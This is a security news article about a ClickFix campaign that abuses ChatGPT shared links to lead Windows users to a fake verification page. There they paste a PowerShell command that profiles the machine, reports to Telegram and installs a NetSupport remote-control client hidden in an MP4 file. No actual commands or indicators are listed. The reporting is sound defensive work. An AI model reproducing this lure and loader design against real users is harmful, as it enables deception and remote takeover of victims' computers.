Hackers Abuse Real ChatGPT Links to Trick Windows Users Into Installing Malware

Windows users are being targeted through a malicious campaign that turns a ChatGPT shared link into the step of a malware infection.

Rather than breaking into the AI platform, the operators place a deceptive message inside a shared conversation and rely on victims to follow its instructions.

The page claims that traffic is too high and directs visitors to a supposed backup site. That destination uses a fake human-verification screen and tells people to open the Windows Run dialog, paste a command, and press Enter.

The action quietly starts a PowerShell-based download chain outside the browser. JOERverser analysts identified the activity as a malicious ClickFix operation, while stressing that the legitimate ChatGPT domain was not compromised.

The abuse lies in user-controlled shared content, a reminder that a trusted web address cannot by itself prove that every instruction shown on a page is safe.

Joe Reverser said in a report shared with Cyber Security News (CSN) that the campaign can expose a victim’s computer details, public IP address, location, internet provider, time zone, Windows version, and administrator status.

It retrieves a concealed software bundle that includes a NetSupport remote-control client, creating the risk of follow-on monitoring or unauthorized access.

Hackers Abuse Real ChatGPT Links

The attackers begin with an authentic ChatGPT sharing URL, a format that can look reassuring when delivered in an ad, search result, message, or email.

The shared page displays an availability warning and a link to an unrelated site presented as a backup destination. There was no observed automatic redirect, so the victim must click onward.

This detail matters because the tactic borrows credibility from a real service without needing to compromise its infrastructure.

A report on fake OpenAI Codex download pages shows how attackers pair well-known AI branding with ClickFix prompts to push users toward manual command execution.

At the next stage, the landing page combines OpenAI-themed wording with Cloudflare-style verification and a claim involving Google. Its button copies a PowerShell command to the clipboard.

The instructions then guide the user through Win+R, Ctrl+V, and Enter, a familiar ClickFix sequence described in coverage of Windows Run dialog attacks.

The approach is effective because the browser does not have to download a suspicious file directly. Instead, the victim launches the command through a built-in Windows feature.

That human step can reduce the warning signs people expect from conventional phishing, even though the verification request has no legitimate reason to require Run or PowerShell.

Hidden Loader Collects Data

The copied command fetches a remote script and evaluates it. The script hides its console window, checks computer names associated with analysis environments, and launches additional PowerShell stages with execution-policy bypass settings.

A decoded stage sends collected device and network information to a Telegram chat before downloading what appears to be an MP4 video.

The video is valid as a media file, but it also holds an encrypted and compressed PowerShell bundle in a custom data area. That concealment reflects the broader risk explored in Cloudflare themed ClickFix campaigns.

Researchers recovered 20 embedded files from the bundle, including a signed NetSupport client and supporting components.

Dual-use remote administration software can be legitimate in normal settings, but its delivery through clipboard poisoning, hidden scripts, system profiling, and cleanup behavior makes this deployment malicious. The loader also clears the Windows Run history to reduce visible traces.

Users should treat any website that asks them to open Run, Terminal, Command Prompt, or PowerShell to prove they are human as malicious.

Close the page instead of following keyboard instructions, inspect pasted content before running it, and alert security teams if a command was executed.

Organizations can block the listed infrastructure and investigate the relevant hashes, a precaution reinforced by reporting on fake browser update malware.

Indicators of compromise (IoCs):-

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Prevent incidents due to slow investigations. Power your Tier 1 with threat intelligence from 15K SOCs: Integrate TI Lookup in your SOC

The post Hackers Abuse Real ChatGPT Links to Trick Windows Users Into Installing Malware appeared first on Cyber Security News.